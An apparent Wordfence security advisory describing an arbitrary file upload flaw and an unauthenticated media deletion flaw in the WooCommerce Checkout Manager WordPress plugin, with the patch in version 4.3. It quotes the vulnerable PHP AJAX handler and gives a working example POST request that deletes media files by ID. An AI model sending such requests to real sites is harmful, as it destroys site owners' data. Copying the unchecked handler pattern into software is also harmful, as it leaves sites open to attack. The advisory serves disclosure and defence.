The initially disclosed flaw in WooCommerce Checkout Manager allowed unauthenticated users to upload arbitrary files to affected sites in certain configurations. Specifically, the plugin’s “Categorize Uploaded Files” option needed to be active for this flaw to be exploitable.

With the plugin active, a site’s customers have the ability to upload files associated with their orders during the checkout process. Without the “Categorize Uploaded Files” option enabled, the plugin made use of WordPress’s built-in media upload handler, which is generally effective at keeping out malicious scripts. However, when the option is enabled, it directly uploads the file without any security checks, allowing dangerous files to be uploaded.

Wordfence firewall users, both premium and free, are protected from malicious script uploads.

Unauthenticated Media Deletion Flaw

While testing reports of the file upload flaw above, our team discovered a flaw which would allow attackers to delete media files from the affected site.

Alongside the file upload feature, the plugin is able to delete the attachments users have uploaded at checkout. In unpatched versions, this deletion feature allowed unauthenticated users to delete any media file, not just those associated with a user’s checkout uploads.

function update_attachment_wccm_callback() {

	global $post, $wpdb, $woocommerce;

	$array1 = explode( ',', sanitize_text_field( isset( $_POST['wccm_default_keys_load'] ) ? $_POST['wccm_default_keys_load'] : '' ) );
	$array2 = explode( ',', sanitize_text_field( isset( $_POST['product_image_gallery'] ) ? $_POST['product_image_gallery'] : '' ) );
	$attachment_ids = array_diff( $array1, $array2 );

	if( isset( $_POST['wccm_default_keys_load'] ) ) {
		if( !empty( $attachment_ids ) ) {
			foreach( $attachment_ids as $key => $values ) {
				wp_delete_attachment( $attachment_ids[$key] );
			}
		}
		echo __('Deleted successfully.','woocommerce-checkout-manager');
	}
	die();

}
add_action( 'wp_ajax_update_attachment_wccm', 'update_attachment_wccm_callback' );
add_action( 'wp_ajax_nopriv_update_attachment_wccm', 'update_attachment_wccm_callback' );

The above function, update_attachment_wccm_callback, is hooked into the update_attachment_wccm AJAX action. The function is only intended for Administrator and Shop Manager users, but was available to unauthenticated users due to its additional nopriv_ registration and a lack of capabilities checks. In the function, two POST body parameters are converted to arrays and then compared. Any media attachments with IDs present in $_POST['wccm_default_keys_load'] but not in $_POST['product_image_gallery'] are deleted via the built-in wp_delete_attachment function. This not only deletes the associated file, but removes its metadata from the WordPress media library.

An attacker with motivation to take down a site’s images and other media could do so by identifying a set of media IDs, or simply iterating over a wide range of values, and assigning them to wccm_default_keys_load as a comma-delimited string. Because the ternary operation on line 2176 returns an empty string by default, we don’t need to set a product_image_gallery parameter for comparison unless we wanted to exclude specific IDs for some reason.

For example, to delete any media files with IDs from 1 to 10, you’d send a POST request to http://example[.]com/wp-admin/admin-ajax.php?action=update_attachment_wccm with the POST body wccm_default_keys_load=1,2,3,4,5,6,7,8,9,10.

Next Steps

The plugin’s author, Visser Labs, has patched these issues in version 4.3 of WooCommerce Checkout Manager. It is advised that all sites making use of the plugin update as soon as possible. For sites which haven’t patched, a new Wordfence firewall rule has been deployed to prevent abuse of the media deletion flaw. Premium users have immediate access to this new rule, and free users will gain access in thirty days. Both free and premium users already benefit from built-in rules which offer protection from the file upload vulnerability as well.

At this time, we have not identified significant exploitation of either of these vulnerabilities. We will continue to monitor for related activity and issue further reports if necessary.

Thanks to Ram Gall from the Defiant QA team for the discovery of the media deletion vulnerability.

The post Unauthenticated Media Deletion Vulnerability Patched In WooCommerce Checkout Manager Plugin appeared first on Wordfence.

Read More
Page 1 of 41234»